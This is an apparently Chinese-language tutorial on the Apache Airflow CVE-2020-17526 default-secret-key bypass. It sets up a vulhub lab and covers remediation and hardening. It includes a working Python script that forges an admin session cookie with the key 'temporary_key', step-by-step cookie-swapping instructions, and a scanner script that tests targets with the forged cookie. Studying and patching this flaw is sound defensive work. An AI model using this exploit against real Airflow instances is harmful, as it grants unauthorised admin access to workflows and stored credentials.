Apache Airflow CVE-2020-17526漏洞剖析:从默认密钥到权限绕开的实战复现与修复
1. 漏洞背景与核心原理剖析
Apache Airflow 这个工具,但凡做过数据流水线或者ETL调度的朋友应该都不陌生。它是一个用Python写的开源平台,专门用来编排、调度和监控复杂的工作流。你可以把它想象成一个高级版的“定时任务管理器”,但功能要强大得多,能处理依赖关系、重试、监控告警等一系列复杂场景。正因为其强大和易用性,它在很多公司的数据中台、自动化运维体系里都是核心组件。
CVE-2020-17526 这个漏洞,本质上是一个“默认配置不安全”引发的权限绕过问题。它的根源在于Airflow的Web UI(基于Flask-AppBuilder框架)在初始化时,如果没有显式配置一个叫做SECRET_KEY的参数,框架就会使用一个硬编码的默认值。这个SECRET_KEY是干什么的呢?在Web应用中,它相当于一把“总钥匙”,用途非常关键:
- 会话(Session)签名:用来加密和签名用户的登录会话Cookie,防止会话被篡改。
- CSRF令牌生成:生成和验证跨站请求伪造防护令牌。
- 其他安全相关数据的签名。
当攻击者知道了你这把“总钥匙”的具体内容,他就能自己伪造出合法的会话Cookie,或者计算出正确的CSRF令牌,从而绕过登录认证,直接以任意用户身份(包括管理员)进入系统。CVE-2020-17526 的默认密钥是temporary_key。是的,你没看错,就是这么简单直白的一个字符串。这意味着,任何没有在配置中主动设置SECRET_KEY的Airflow实例,其安全大门就等同于虚掩着。
这个漏洞的危险性在于它的“静默性”。从外部看,你的Airflow服务运行得好好的,认证登录页面也正常,但攻击者不需要爆破密码,不需要找其他漏洞,只需要一个简单的脚本,就能直接获得最高权限。一旦进入,攻击者可以查看所有DAG(工作流定义)、触发或停止任务、访问可能包含敏感信息的变量和连接配置,甚至通过修改DAG代码在服务器上执行任意命令,后果不堪设想。
2. 漏洞环境搭建与复现准备
为了彻底理解这个漏洞的利用条件和影响,最好的方式就是亲手搭建一个存在漏洞的环境。这里我们使用vulhub这个非常方便的漏洞靶场集成项目。它把很多历史漏洞的环境做成了Docker Compose配置,一键启动,省去了我们四处找旧版本、处理依赖兼容的麻烦。
首先,确保你的实验环境已经安装了 Docker 和 Docker Compose。然后,我们定位到 vulhub 中 Airflow 漏洞的目录。通常 vulhub 的项目结构很清晰,我们找到对应路径:
cd vulhub/airflow/CVE-2020-17526查看一下目录下的docker-compose.yml文件,这是理解环境构成的关键:
version: '2' services: airflow: image: vulhub/airflow:1.10.10 environment: - LOAD_EX=n - EXECUTOR=Local ports: - "8080:8080" command: webserver从配置可以看出,vulhub 使用了一个定制的镜像vulhub/airflow:1.10.10,它基于存在漏洞的 Apache Airflow 1.10.10 版本构建,并且环境变量中没有设置AIRFLOW__WEBSERVER__SECRET_KEY(这是配置SECRET_KEY的环境变量方式)。这完美复现了漏洞存在的条件:使用默认密钥。
启动环境只需要一行命令:
docker-compose up -d等待片刻,Docker会拉取镜像并启动容器。用docker-compose ps可以查看服务状态,当显示为Up时,就可以在浏览器中访问http://your-ip:8080了。你会看到Airflow的登录界面,默认用户名和密码通常是airflow/airflow。我们先正常登录进去,熟悉一下界面,看看有哪些功能,这有助于我们理解攻击者进入后能做什么。
注意:在实验环境中,我们知晓默认凭证。但在真实漏洞利用中,攻击者无需登录,他是直接绕过认证的。我们登录只是为了方便对比观察。
3. 漏洞利用链的深度拆解
知道默认密钥是temporary_key后,我们具体怎么利用呢?核心是伪造一个有效的会话Cookie。Airflow的Web会话基于Flask的Flask-Login和Flask-AppBuilder,其会话Cookie通常名为session。我们需要理解这个Cookie的生成格式。
Flask的签名Cookie通常采用“序列化数据.签名”的格式。序列化数据是经过URL安全的Base64编码的会话字典,签名则是基于SECRET_KEY和序列化数据通过HMAC算法生成的。在Python的itsdangerous库(Flask所用)中,有一个TimedSerializer或URLSafeTimedSerializer类专门用于生成和验证这种带时间戳的签名Cookie。
因此,利用步骤可以拆解如下:
- 确定攻击参数:我们需要知道Airflow实例中存在的用户ID。通常,我们可以尝试常见的默认用户,如
1(第一个创建的用户,往往是超级管理员),或者用户名airflow对应的ID。在Flask-AppBuilder中,用户ID通常就是数据库中的主键ID。 - 构造会话字典:一个最简单的有效会话字典需要包含用户标识和 freshness 标记。对于 Flask-Login,关键字段是
_user_id。 - 使用密钥进行签名:利用
itsdangerous库,用默认密钥temporary_key对构造的字典进行签名和序列化,生成最终的Cookie值。 - 替换浏览器Cookie:将生成的Cookie值,通过浏览器开发者工具,替换当前站点下的
sessionCookie。 - 刷新页面:刷新Airflow页面,如果漏洞存在且构造正确,你将直接以目标用户身份登录,无需密码。
为了更直观地演示,我写了一个简单的Python利用脚本。这个脚本的核心是模拟Flask应用生成Cookie的过程:
#!/usr/bin/env python3 """ Apache Airflow CVE-2020-17526 默认密钥权限绕过利用脚本 用于生成伪造的管理员会话Cookie。 """ import hashlib from itsdangerous import URLSafeTimedSerializer import sys def generate_exploit_cookie(user_id='1', secret_key='temporary_key'): """ 生成伪造的Airflow会话Cookie。 Args: user_id (str): 目标用户的ID,默认为'1'(通常是第一个管理员)。 secret_key (str): Airflow实例的SECRET_KEY,漏洞默认值为'temporary_key'。 Returns: str: 可用于替换的session cookie值。 """ # Flask-AppBuilder/Flask-Login 使用的会话数据结构 # `_user_id` 是核心字段,标识登录用户。 # `_fresh` 标记会话是否为新鲜登录(通常为False即可)。 session_data = { '_user_id': user_id, '_fresh': False } # 创建签名序列化器 # salt 参数通常为 'cookie-session',这是Flask默认的会话salt。 s = URLSafeTimedSerializer( secret_key=secret_key, salt='cookie-session', serializer=None, # 使用默认的 pickle 序列化,这里我们直接传递字典 signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1} ) try: # 生成签名后的字符串(即Cookie值) cookie_value = s.dumps(session_data) return cookie_value except Exception as e: print(f"[!] 生成Cookie时出错: {e}") return None if __name__ == '__main__': # 默认利用:使用默认密钥和用户ID 1 cookie = generate_exploit_cookie() if cookie: print("[+] 漏洞利用成功!") print(f"[+] 生成的伪造 session cookie 为:\n{cookie}") print("\n[*] 使用方法:") print("1. 打开浏览器开发者工具 (F12)。") print("2. 进入 Application (或 Storage) -> Cookies -> http://target:8080") print("3. 找到名为 'session' 的cookie,将其值替换为上面生成的值。") print("4. 刷新Airflow页面,即可直接以管理员身份登录。") else: print("[!] 利用失败。")运行这个脚本,它会输出一个长长的字符串,这就是我们伪造的Cookie。接下来进行实际操作验证。
4. 手把手实战复现与权限验证
现在,我们进入最关键的实战环节。请严格按照以下步骤操作,你会清晰地看到权限是如何被绕过的。
第一步:获取伪造Cookie在启动了vulhub环境的宿主机上,运行上面的Python脚本。你会得到一个类似这样的字符串(每次运行可能略有不同,因为包含时间戳):
eyJfdXNlcl9pZCI6IjEiLCJfZnJlc2giOmZhbHNlfQ.Yp3zpQ.7XG9w8mN4LzqKjHpSdTQeV1abc0复制这个字符串。
第二步:清除浏览器状态打开一个无痕浏览窗口(这很重要,避免已有登录状态干扰),访问http://your-vulhub-ip:8080。你应该看到Airflow的登录页面,此时不要登录。
第三步:替换会话Cookie按下F12打开开发者工具,切换到Application标签页(在Chrome/Edge中;Firefox中可能是Storage)。在左侧找到Cookies,并展开当前网站的地址 (http://your-vulhub-ip:8080)。在右侧的Cookie列表中,你应该能看到一个名为session的Cookie。它的值可能为空或者是一个无效值。 双击sessionCookie的Value栏,删除原有内容,粘贴我们刚才生成的伪造Cookie字符串。然后按回车键确认。
第四步:见证绕过直接刷新整个Airflow页面,或者点击浏览器地址栏按回车。神奇的事情发生了:页面没有跳转到登录页,而是直接进入了Airflow的主仪表盘(DAGs列表页)!在右上角,你会看到当前登录的用户显示为admin或airflow(取决于默认用户配置)。
第五步:验证权限为了证明这不是偶然,我们进行一些高权限操作:
- 访问安全菜单:点击顶部的
Security菜单,尝试进入Users、Roles或Permissions列表。如果能正常查看和编辑用户、角色信息,说明我们拥有管理员权限。 - 操作敏感配置:点击
Admin->Variables或Connections。这里通常存储着数据库密码、API密钥等敏感信息。我们可以查看、新增、删除,这进一步证实了权限的完整性。 - 触发DAG运行:在DAGs列表页面,找到一个工作流,打开开关启用它,并手动触发一次运行。如果成功,说明我们完全掌控了工作流的调度。
实操心得:在实际测试中,我遇到过因为浏览器缓存或Cookie作用域问题导致替换后不生效的情况。一个排查技巧是,在替换Cookie后,不要只是刷新,最好关闭当前标签页,然后重新打开浏览器无痕窗口,再粘贴Cookie并访问。另外,确保你替换的是对
http://your-ip:8080这个根路径有效的Cookie,而不是其他子路径的。
通过以上步骤,我们成功复现了CVE-2020-17526。整个过程没有输入任何密码,仅仅依靠一个已知的默认密钥,就完成了从匿名用户到系统管理员的权限跃迁。
5. 漏洞根源与安全配置深度解析
复现漏洞很有趣,但更重要的是理解它为什么会产生,以及如何从根本上修复和预防。这个漏洞给我们上了深刻的一课:永远不要依赖默认的安全配置。
根源分析: 在 Apache Airflow 1.10.10 及之前版本的源码中,Web服务器配置部分,如果没有显式设置secret_key,Flask-AppBuilder 会回退到一个默认值。查看相关源码(如airflow/config_templates/default_webserver_config.py或 Flask-AppBuilder 的默认初始化行为)就能找到这个硬编码的temporary_key。这种设计初衷可能是为了方便快速启动和测试,但却被错误地用在了生产环境配置的默认行为中。开发者和运维人员可能认为“只要设置了密码就安全了”,却忽略了这把更底层的“钥匙”。
安全修复方案: 修复此漏洞的方法极其简单,但必须执行:
- 为生产环境设置强SECRET_KEY:这是强制要求。密钥必须足够长(建议32个字符以上)、足够随机(使用密码学安全的随机数生成器生成),并且严格保密。
- 环境变量方式(推荐):在启动Airflow的环境变量中设置。
export AIRFLOW__WEBSERVER__SECRET_KEY='你的强随机密钥字符串' - 配置文件方式:在
airflow.cfg中的[webserver]部分设置。[webserver] secret_key = 你的强随机密钥字符串
- 环境变量方式(推荐):在启动Airflow的环境变量中设置。
- 升级到已修复的版本:Apache Airflow 在后续版本中修正了此问题。在 Airflow 1.10.11+ 以及 2.0.0+ 版本中,如果未配置
SECRET_KEY,启动Web服务器时会直接抛出错误,强制要求管理员进行配置。这是最根本的修复。
因此,升级是消除此类隐患的最佳实践。ERROR: Secret key for the webserver has not been set. Please set the `secret_key` config in [webserver] section or export the AIRFLOW__WEBSERVER__SECRET_KEY environment variable.
纵深防御建议: 仅仅修复这个漏洞点还不够,我们应该建立更全面的安全观:
- 最小权限原则:即使是在内网,也不应为Airflow服务分配过高的系统权限。考虑使用非root用户运行Airflow worker和scheduler。
- 网络隔离:Airflow的Web UI(8080端口)不应直接暴露在公网。应通过VPN、跳板机或反向代理(如Nginx)进行访问控制,并配置IP白名单、强制HTTPS。
- 定期审计与依赖扫描:使用像
trivy、grype或 GitHub Dependabot 等工具,定期扫描你的Airflow镜像或部署环境中的已知漏洞(CVE)。将安全更新纳入常规运维流程。 - 安全的DAG管理:警惕在DAG中硬编码密码或密钥。充分利用Airflow的
Connections和Variables(并确保其管理界面权限收紧),或者与外部的密钥管理服务(如HashiCorp Vault)集成。
6. 渗透测试视角下的漏洞挖掘与防御绕过
从一个攻击者或安全审计人员的视角来看,CVE-2020-17526 属于“默认凭据”类漏洞的变种。它的挖掘思路可以给我们一些启发,用于发现类似问题:
信息收集阶段:
- 指纹识别:通过访问
/login或查看HTTP响应头中的Server字段,识别出目标是Apache Airflow。进一步,通过访问/api/experimental/version等接口或分析页面元素,尝试确定其大版本号(如1.10.x)。 - 配置探测:尝试访问一些默认路径或接口,如
/admin、/health,观察错误信息。虽然这个漏洞本身不通过错误信息泄露密钥,但其他配置疏忽可能会。
漏洞假设与验证:
- 建立假设:发现目标是Airflow且版本较早 -> 假设其可能使用默认配置 -> 推测
SECRET_KEY可能为temporary_key或空。 - 工具化验证:编写或使用现有工具(如 metasploit 模块、 nuclei 模板、python脚本)快速尝试使用默认密钥伪造Cookie。这个过程可以批量、自动化地对一批目标进行扫描。
防御绕过思考: 如果管理员修复了默认密钥,但设置了弱密钥(如airflow123、companyname2020),攻击者仍然可以通过字典攻击或基于常见模式的猜测来破解。因此,防御方需要设置强密钥。更进一步,一些更严格的安全配置可以增加攻击难度:
- 设置
SESSION_COOKIE_HTTPONLY和SECURE:防止通过XSS攻击窃取Cookie,并强制HTTPS传输。 - 定期轮换SECRET_KEY:虽然这会使所有现有登录会话失效,但在高安全要求场景下,定期轮换密钥是一种好习惯。轮换后,即使旧的密钥不慎泄露,攻击者也无法再利用其生成有效Cookie。
自动化检测脚本示例: 一个简单的检测脚本,可以集成到扫描器中,用于快速判断目标是否存在此漏洞:
import requests from itsdangerous import URLSafeTimedSerializer, BadSignature import hashlib def check_cve_2020_17526(target_url): """ 检测目标Airflow是否存在CVE-2020-17526漏洞。 Args: target_url (str): Airflow Web UI 地址,如 http://192.168.1.100:8080 Returns: bool: 是否存在漏洞 str: 详细信息 """ default_key = 'temporary_key' session_cookie_name = 'session' # 1. 尝试使用默认密钥生成一个测试Cookie(用户ID为1) s = URLSafeTimedSerializer( secret_key=default_key, salt='cookie-session', signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1} ) test_cookie = s.dumps({'_user_id': '1', '_fresh': False}) # 2. 发送一个携带伪造Cookie的请求到需要认证的接口 headers = {'Cookie': f'{session_cookie_name}={test_cookie}'} # 尝试访问一个需要权限的API,例如获取DAG列表的接口 api_url = f'{target_url.rstrip("/")}/api/experimental/dags' try: resp = requests.get(api_url, headers=headers, timeout=10, verify=False) # 如果返回200 OK且包含JSON数据,说明认证通过 if resp.status_code == 200 and 'application/json' in resp.headers.get('Content-Type', ''): return True, f"目标 {target_url} 存在CVE-2020-17526漏洞,默认密钥有效。" else: # 也可能返回403/401,说明密钥无效或需要其他认证 return False, f"目标 {target_url} 可能已修复该漏洞(默认密钥无效)。" except requests.exceptions.RequestException as e: return False, f"检测请求失败: {e}"这个脚本的核心思路是“主动验证”,而不是被动探测。它直接使用漏洞逻辑去尝试,结果非常准确。
7. 从漏洞修复到安全开发生命周期(SDLC)的思考
CVE-2020-17526 虽然原理简单,但它暴露了一个在软件开发,尤其是开源软件中常见的问题:安全默认值的缺失。作为开发者和运维,我们应该从中吸取教训,并将其融入日常的安全实践中。
对开发者的启示:
- 安全默认配置:任何涉及安全性的配置项(密钥、密码、权限),在框架或库的默认设置中,必须是随机生成的、唯一的,或者在首次运行时强制要求用户设置。绝对禁止使用简单硬编码值作为生产环境的默认值。
- 明确的启动警告:如果检测到不安全配置(如使用默认密钥),应用应该在启动时输出明确的ERROR级别日志,并阻止服务启动,而不是仅仅给出一个WARNING。Airflow后续版本的修复正是采用了这一策略。
- 文档强调:在安装和配置文档的显著位置,用醒目的方式(如警告框)说明安全配置的重要性及设置方法。
对运维和架构师的启示:
- 配置即代码,安全左移:将像
AIRFLOW__WEBSERVER__SECRET_KEY这样的敏感配置,纳入你的配置管理(如Ansible、Terraform)或密钥管理服务(Vault)。在CI/CD流水线中,部署前应有检查环节,确保生产环境没有使用任何默认的或测试用的安全凭据。 - 基线安全扫描:在将第三方组件(如Docker镜像)引入生产环境前,进行基线安全扫描。检查其默认配置、开放端口、运行用户等。可以使用
docker inspect或专门的容器安全工具。 - 漏洞管理流程:建立对所用组件的CVE监控和应急响应流程。订阅安全邮件列表,使用软件成分分析(SCA)工具。当出现类似CVE-2020-17526的漏洞时,能快速评估影响、制定修复方案并实施。
漏洞的变体与联想: 这个漏洞的模式并不新鲜。它让我想起很多其他“默认密码”漏洞,比如早期路由器、摄像头的admin/admin,或者某些中间件、数据库的空口令。其背后的根本原因都是“为了方便而牺牲安全”。作为技术人员,我们必须时刻保持警惕,养成“零信任默认配置”的习惯。在搭建任何新服务时,第一个问题就应该是:“它的安全配置默认是什么?我需要修改哪些?”
最后,修复这个漏洞本身只需要一行配置。但更重要的是,通过分析和复现它,我们强化了对Web会话安全机制的理解,练习了从信息收集到漏洞验证的完整渗透测试思路,并最终将教训转化为提升整体安全水位的最佳实践。安全是一个持续的过程,每一个被认真分析和修复的漏洞,都是让系统变得更坚固的一块基石。
